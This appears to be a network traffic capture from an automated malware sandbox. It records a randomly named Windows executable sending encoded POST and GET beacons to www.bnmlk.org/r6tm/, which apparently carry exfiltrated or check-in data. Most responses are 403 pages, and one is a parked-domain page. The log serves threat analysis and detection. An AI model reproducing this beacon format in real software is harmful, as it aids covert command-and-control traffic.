Sep 5, 2024 14:25:58.268325090 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 05 Sep 2024 12:25:58 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Sep 5, 2024 14:25:58.268467903 CEST	1236	IN	Data Raw: 2f 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 Data Ascii: /linearGradient> </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)"
Sep 5, 2024 14:25:58.268486023 CEST	1236	IN	Data Raw: 37 39 20 2d 30 2e 35 39 35 32 33 33 2c 2d 31 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 Data Ascii: 79 -0.595233,-18.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;str
Sep 5, 2024 14:25:58.268503904 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 30 30 2e 37 36 32 37 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 34 35 35 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c Data Ascii: width="100.76272" id="rect4553" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /
Sep 5, 2024 14:25:58.268517971 CEST	896	IN	Data Raw: 38 2e 36 36 36 33 31 20 31 2e 32 34 39 39 32 32 2c 31 35 2e 35 30 30 36 34 20 30 2e 39 31 36 37 39 38 2c 36 2e 38 33 34 33 34 20 32 2e 32 34 39 38 35 34 2c 31 36 2e 33 33 32 33 37 20 33 2e 34 39 39 39 30 32 2c 32 34 2e 39 31 36 30 34 20 31 2e 32 Data Ascii: 8.66631 1.249922,15.50064 0.916798,6.83434 2.249854,16.33237 3.499902,24.91604 1.250047,8.58368 2.416611,16.24967 4.583438,28.58394 2.166827,12.33427 5.333153,29.33244 8.499966,46.33323" style="display:inline;fill:none;stroke:#000
Sep 5, 2024 14:25:58.268529892 CEST	1236	IN	Data Raw: 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 39 31 2e Data Ascii: ke-opacity:1;" /> <path id="path4525" d="m 91.9375,124.09998 c 5.854072,7.16655 11.70824,14.33322 16.21863,20.16651 4.51039,5.83328 7.67706,10.33329 11.92718,16.33346 4.25012,6.00017 9.58322,13.49984 12.6665
Sep 5, 2024 14:25:58.268543005 CEST	1236	IN	Data Raw: 30 32 31 2c 31 31 2e 31 31 30 35 32 20 30 2e 39 34 33 35 31 37 2c 34 2e 31 32 37 39 35 20 32 2e 38 32 37 35 33 35 2c 31 31 2e 31 39 33 30 32 20 34 2e 30 36 35 30 30 35 2c 31 36 2e 30 32 35 30 31 20 31 2e 32 33 37 34 38 2c 34 2e 38 33 32 20 31 2e Data Ascii: 021,11.11052 0.943517,4.12795 2.827535,11.19302 4.065005,16.02501 1.23748,4.832 1.82668,7.42447 2.12139,10.84263 0.29471,3.41815 0.29471,7.65958 -0.11785,20.44893 -0.41255,12.78934 -1.23731,34.11536 -2.18014,53.62015 -0.94282,19.50478 -2.00342
Sep 5, 2024 14:25:58.268553972 CEST	448	IN	Data Raw: 30 30 30 34 39 20 33 2e 37 31 32 30 30 35 2c 35 34 2e 32 30 37 36 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 Data Ascii: 00049 3.712005,54.20767" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4549" d="m 79.25478,124.232
Sep 5, 2024 14:25:58.270776987 CEST	1236	IN	Data Raw: 33 34 2e 34 36 39 31 37 20 35 2e 30 36 36 30 39 35 2c 35 33 2e 38 34 37 34 36 20 32 2e 32 33 37 39 31 33 2c 31 39 2e 33 37 38 32 39 20 34 2e 38 33 33 31 30 39 2c 33 36 2e 37 31 38 39 32 20 37 2e 34 32 35 39 35 39 2c 35 34 2e 30 34 33 38 37 22 0a Data Ascii: 34.46917 5.066095,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path
Sep 5, 2024 14:25:58.270786047 CEST	1236	IN	Data Raw: 32 38 39 2c 31 38 2e 34 31 35 35 20 2d 38 2e 34 35 38 30 36 2c 33 36 2e 38 33 32 31 36 20 2d 31 32 2e 36 38 37 35 2c 35 35 2e 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 Data Ascii: 289,18.4155 -8.45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <ellipse ry="4.6715717"
Sep 5, 2024 14:25:58.273403883 CEST	1236	IN	Data Raw: 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 Data Ascii: oke-dasharray:none;stroke-opacity:1;" /> <path transform="translate(-170.14515,-0.038164)" id="path4567" d="m 321.74355,168.0687 c -1e-5,3.3913 -3.42414,11.26702 -8.73834,11.26702 -5.3142,0 -18.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	57208	13.248.151.237	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:26:03.960134983 CEST	693	OUT	POST /r6tm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.bnmlk.org Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.bnmlk.org Referer: http://www.bnmlk.org/r6tm/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 35 31 44 55 35 6b 53 59 5a 4c 4c 74 58 43 4a 48 41 52 64 36 2b 4c 35 49 77 65 47 64 56 78 69 4c 75 6f 70 33 76 58 74 37 74 56 73 7a 4e 2b 63 2f 4d 79 52 30 43 6f 57 44 67 58 78 62 78 6a 55 45 72 35 41 41 50 74 74 6f 75 50 50 4c 75 58 68 73 41 62 35 6e 48 79 62 66 48 48 44 72 6c 37 62 47 42 77 6b 72 43 55 74 68 54 2f 61 6a 31 48 67 61 39 32 65 2b 53 4a 35 50 75 72 57 72 37 2f 48 4b 53 61 6b 48 45 53 53 6e 32 43 61 32 77 39 79 66 4a 53 79 4f 61 6a 69 6f 65 61 6c 63 35 56 48 4c 76 43 72 73 77 61 37 47 2f 56 57 68 35 41 35 63 50 6d 4d 73 54 78 34 4c 6f 37 2f 33 32 71 73 41 72 39 33 7a 74 42 63 3d Data Ascii: V6h=51DU5kSYZLLtXCJHARd6+L5IweGdVxiLuop3vXt7tVszN+c/MyR0CoWDgXxbxjUEr5AAPttouPPLuXhsAb5nHybfHHDrl7bGBwkrCUthT/aj1Hga92e+SJ5PurWr7/HKSakHESSn2Ca2w9yfJSyOajioealc5VHLvCrswa7G/VWh5A5cPmMsTx4Lo7/32qsAr93ztBc=
Sep 5, 2024 14:26:04.414572954 CEST	315	IN	HTTP/1.1 403 Forbidden Date: Thu, 05 Sep 2024 12:26:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Server: nginx Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 6d 78 95 8e 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Vp/JLII&T$dCAfAyyyr0.mx0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	57209	13.248.151.237	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:26:06.500579119 CEST	713	OUT	POST /r6tm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.bnmlk.org Connection: close Content-Length: 224 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.bnmlk.org Referer: http://www.bnmlk.org/r6tm/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 35 31 44 55 35 6b 53 59 5a 4c 4c 74 47 53 5a 48 43 32 4a 36 76 37 35 4c 75 4f 47 64 66 52 69 78 75 6f 31 33 76 53 64 56 74 6d 49 7a 4e 65 4d 2f 4e 77 70 30 4c 34 57 44 71 33 78 65 2f 44 55 78 72 35 63 69 50 74 68 6f 75 4a 6a 4c 75 54 70 73 41 4d 74 6d 48 69 62 64 65 33 44 74 6d 4c 62 47 42 77 6b 72 43 55 35 62 54 37 2b 6a 31 33 51 61 38 58 65 2f 59 70 35 4d 72 62 57 72 2f 2f 48 4f 53 61 6c 69 45 54 4f 4e 32 48 65 32 77 34 4f 66 49 41 4b 4e 4a 44 69 75 61 61 6b 44 78 41 69 59 6f 41 2f 4e 79 4d 6d 41 2f 7a 43 66 34 32 55 32 56 45 45 45 41 52 55 7a 34 6f 33 41 6e 61 4e 70 78 65 6e 44 7a 57 4c 46 7a 6d 70 79 2f 71 68 4a 64 53 30 38 71 30 52 6d 36 57 76 36 Data Ascii: V6h=51DU5kSYZLLtGSZHC2J6v75LuOGdfRixuo13vSdVtmIzNeM/Nwp0L4WDq3xe/DUxr5ciPthouJjLuTpsAMtmHibde3DtmLbGBwkrCU5bT7+j13Qa8Xe/Yp5MrbWr//HOSaliETON2He2w4OfIAKNJDiuaakDxAiYoA/NyMmA/zCf42U2VEEEARUz4o3AnaNpxenDzWLFzmpy/qhJdS08q0Rm6Wv6
Sep 5, 2024 14:26:06.979032993 CEST	315	IN	HTTP/1.1 403 Forbidden Date: Thu, 05 Sep 2024 12:26:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Server: nginx Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 6d 78 95 8e 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Vp/JLII&T$dCAfAyyyr0.mx0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	57210	13.248.151.237	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:26:09.041007996 CEST	1730	OUT	POST /r6tm/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.bnmlk.org Connection: close Content-Length: 1240 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.bnmlk.org Referer: http://www.bnmlk.org/r6tm/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 35 31 44 55 35 6b 53 59 5a 4c 4c 74 47 53 5a 48 43 32 4a 36 76 37 35 4c 75 4f 47 64 66 52 69 78 75 6f 31 33 76 53 64 56 74 6d 41 7a 4d 6f 41 2f 4d 58 39 30 5a 6f 57 44 30 6e 78 66 2f 44 55 6f 72 35 45 6d 50 74 39 57 75 4d 2f 4c 76 78 78 73 58 4e 74 6d 4e 69 62 64 57 58 44 73 6c 37 62 58 42 78 49 76 43 55 70 62 54 37 2b 6a 31 78 30 61 38 47 65 2f 65 70 35 50 75 72 57 5a 37 2f 48 6d 53 63 4d 66 45 54 4b 33 32 7a 71 32 77 5a 2b 66 4b 31 6d 4e 54 44 69 73 64 61 6b 4c 78 41 6e 41 6f 41 7a 2f 79 4d 36 6d 2f 30 32 66 30 43 56 2f 4d 47 34 53 53 42 34 77 79 71 2f 69 2b 4e 4a 70 35 63 76 76 78 6e 7a 2f 77 45 4e 72 79 2b 4d 4c 58 57 39 44 32 77 6c 46 34 57 54 32 6e 36 4d 62 76 76 31 56 75 62 32 51 30 47 4d 73 79 61 31 48 52 6a 62 4a 2b 6d 52 45 51 77 66 56 50 31 50 43 45 43 49 6a 52 70 36 4e 4b 6b 68 66 4d 76 71 71 6c 77 63 58 5a 59 43 4e 51 4b 6e 4a 48 47 52 76 2b 48 52 63 6f 47 6a 75 52 36 72 5a 38 7a 35 32 6b 54 59 4e 38 54 43 53 72 5a 61 66 4b 78 65 42 35 46 71 47 35 51 7a 62 70 56 49 63 77 32 [TRUNCATED] Data Ascii: V6h=51DU5kSYZLLtGSZHC2J6v75LuOGdfRixuo13vSdVtmAzMoA/MX90ZoWD0nxf/DUor5EmPt9WuM/LvxxsXNtmNibdWXDsl7bXBxIvCUpbT7+j1x0a8Ge/ep5PurWZ7/HmScMfETK32zq2wZ+fK1mNTDisdakLxAnAoAz/yM6m/02f0CV/MG4SSB4wyq/i+NJp5cvvxnz/wENry+MLXW9D2wlF4WT2n6Mbvv1Vub2Q0GMsya1HRjbJ+mREQwfVP1PCECIjRp6NKkhfMvqqlwcXZYCNQKnJHGRv+HRcoGjuR6rZ8z52kTYN8TCSrZafKxeB5FqG5QzbpVIcw2w9v+FYidoWWvnVRk7LlWwy3gjK6vs9RkySXftaJaQxcupLr7oG54c997ljJaEq92xFhdApWl7sfpp5aGBNQKL5lRw1feJaoqbLWSk+LeWf6E/LVbJrnYfe3XTq9/oPRPMaRejRj0LUSA3OLZuokGeIq3LeA2uYFRt3M82H2nt/Bv/PdaEmS7BiE+IjusDf14fugYDe377h8cFwEElh2OVCUIlrR1YWFEM+TYfHT+bqgYaRhnUTpelRDY9dtatpxrOuj3bdiWKQ4zczgFsTNqGj6cpsE1IAF7Hv/v3pfy2wMONyqHl06hLzJfJcshV7SZeX4FPB1fWHsxJe/qIOBSePRmQwS/EGTF+BAWSwbaA8OKxw8M/Kp0+POTxndnU2t/FYsSdPJozuHLnQdj961ICUbfdq1c0GmauFU2YZnGmDrM4UlfGNp+29SnJjpayDZWwxWb/zYYQ4sdgB1MSvkAWWuTB+L0mJinFiGqVgfvCUkf0PiicU3V2tXOt78y8SI8prYuj7efwEwUrylexW09a3j7kto4uDumhg0TCNGAQuS0ZXzpqg+qfyeMwa+rHjwIPeOXmPyf/Sj+S4ni0BOb/wCPYbQxW8fjgij5TXend9WfwYeoNcBXE9VoGapB3aqhRVv8qrDFYssNGPQrLtlqIDMBTsiPW7iJ0B [TRUNCATED]
Sep 5, 2024 14:26:09.498462915 CEST	315	IN	HTTP/1.1 403 Forbidden Date: Thu, 05 Sep 2024 12:26:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Server: nginx Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 6d 78 95 8e 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Vp/JLII&T$dCAfAyyyr0.mx0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	57211	13.248.151.237	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:26:11.571048975 CEST	444	OUT	GET /r6tm/?sH=nVVHdDTx2PSTVJ&V6h=03r06RSocIWRHlQMBHZ7/ZdxuKKmGlmlv7BltFVQgkYFIdRnDBF7O8WDu3tP30gBrpd5Hehkjcnr6TVmd9giBmXATSrzqLCUTktLP3Nid+3n62oF5w/Mdat6l5CFzOydDA== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US Host: www.bnmlk.org Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
Sep 5, 2024 14:26:12.167295933 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 05 Sep 2024 12:26:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: nginx Vary: Accept-Encoding Vary: Accept-Encoding X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_SGpfTtKeSXeYdcrzNxA+gYzI0inhX9kF4uUYiJQv39X7wG0F2ND2OiuAtPNWhjsUqFIl4vUlFCk2LpROl0Nt7g== Accept-CH: viewport-width Accept-CH: dpr Accept-CH: device-memory Accept-CH: rtt Accept-CH: downlink Accept-CH: ect Accept-CH: ua Accept-CH: ua-full-version Accept-CH: ua-platform Accept-CH: ua-platform-version Accept-CH: ua-arch Accept-CH: ua-model Accept-CH: ua-mobile Accept-CH-Lifetime: 30 X-Domain: bnmlk.org X-Subdomain: www Data Raw: 31 64 32 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4c 71 75 44 46 45 54 58 52 6e 30 48 72 30 35 66 55 50 37 45 4a 54 37 37 78 59 6e 50 6d 52 62 70 4d 79 34 76 6b 38 4b 59 69 48 6e 6b 4e 70 65 64 6e 6a 4f 41 4e 4a 63 61 58 44 58 63 4b 51 4a 4e 30 6e 58 4b 5a 4a 4c 37 54 63 69 4a 44 38 41 6f 48 58 4b 31 35 38 43 41 77 45 41 41 51 3d 3d 5f 53 47 70 66 54 74 4b 65 53 58 65 59 64 63 72 7a 4e 78 41 2b 67 59 7a 49 30 69 6e 68 58 39 6b 46 34 75 55 59 69 4a 51 76 33 39 58 37 77 47 30 46 32 4e 44 32 4f 69 75 41 74 50 4e 57 68 6a 73 55 71 46 49 6c 34 76 55 6c 46 43 6b 32 4c 70 52 4f 6c 30 4e 74 37 67 3d 3d 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 [TRUNCATED] Data Ascii: 1d22<!DOCTYPE html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_SGpfTtKeSXeYdcrzNxA+gYzI0inhX9kF4uUYiJQv39X7wG0F2ND2OiuAtPNWhjsUqFIl4vUlFCk2LpROl0Nt7g==" xmlns="http://www.w3.org/1999/xhtml" lang="en"><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <meta name="viewport" content="width=device-width, init
Sep 5, 2024 14:26:12.167320967 CEST	1236	IN	Data Raw: 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 62 6e 6d 6c 6b 2e 6f 72 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 6d 65 64 69 61 3d 22 73 63 Data Ascii: ial-scale=1, shrink-to-fit=no"/> <title>bnmlk.org</title> <style media="screen">.asset_star0 {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/star0.gif') no-repeat center;width: 13px;height: 12px;display: inline
Sep 5, 2024 14:26:12.167332888 CEST	448	IN	Data Raw: 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 31 72 65 6d 20 31 72 65 6d 20 30 3b 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 0a 7d 0a 0a 68 31 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 23 38 34 38 34 38 34 3b 0a 20 20 20 20 66 6f 6e Data Ascii: { padding:1rem 1rem 0; overflow:hidden;}h1 { color:#848484; font-size:1.5rem;}.header-text-color:visited,.header-text-color:link,.header-text-color { color:#848484;}.comp-is-parked { margin: 4px 0 2px;}.comp
Sep 5, 2024 14:26:12.167351007 CEST	1236	IN	Data Raw: 6d 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 63 65 6e 74 65 72 20 62 6f 74 74 6f 6d 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 34 30 70 78 3b 0a 7d 0a 0a 2e 77 72 61 70 70 65 72 33 20 7b 0a 20 20 20 20 62 61 63 6b Data Ascii: m.png') no-repeat center bottom; padding-bottom:140px;}.wrapper3 { background:#fff; max-width:300px; margin:0 auto 1rem; padding-top:1px; padding-bottom:1px;}.onDesktop { display:none;}.tcHolder { paddi
Sep 5, 2024 14:26:12.167363882 CEST	1236	IN	Data Raw: 20 20 20 20 7d 0a 7d 0a 3c 2f 73 74 79 6c 65 3e 20 20 20 20 3c 73 74 79 6c 65 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0a 2e 66 61 6c 6c 62 61 63 6b 2d 74 65 72 6d 2d 68 6f 6c 64 65 72 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e Data Ascii: }}</style> <style media="screen">.fallback-term-holder { display: inline-grid; grid-template-columns: 1fr; width: 100%; padding-top: 50px;}.fallback-term-link { grid-column: 1 / span 1; align-self: center;
Sep 5, 2024 14:26:12.167373896 CEST	1236	IN	Data Raw: 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 39 38 30 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 38 30 25 3b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 62 6f 78 2d 73 68 61 Data Ascii: max-width: 980px; font-size: 80%; font-family: sans-serif; box-shadow: 0 1px 6px rgba(0,0,0,.2); max-height: 65px; display: flex; align-items: center; overflow: hidden; text-align: right; } .reg-logo {
Sep 5, 2024 14:26:12.167386055 CEST	1236	IN	Data Raw: 78 20 30 3b 0a 09 09 77 69 64 74 68 3a 20 39 30 30 70 78 3b 0a 09 09 6d 61 78 2d 77 69 64 74 68 3a 39 36 25 3b 0a 09 09 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 09 09 7a 2d 69 6e 64 65 78 3a 20 32 30 3b 0a 09 7d 0a 0a 09 2e 73 61 6c 65 5f Data Ascii: x 0;width: 900px;max-width:96%;margin: 0 auto;z-index: 20;}.sale_link_bold a {font-weight: bold;text-decoration: underline;color: rgb(0,0,0);font-size: 14px;}.sale_link_bold a:hover {color: rgb(100,100,100)
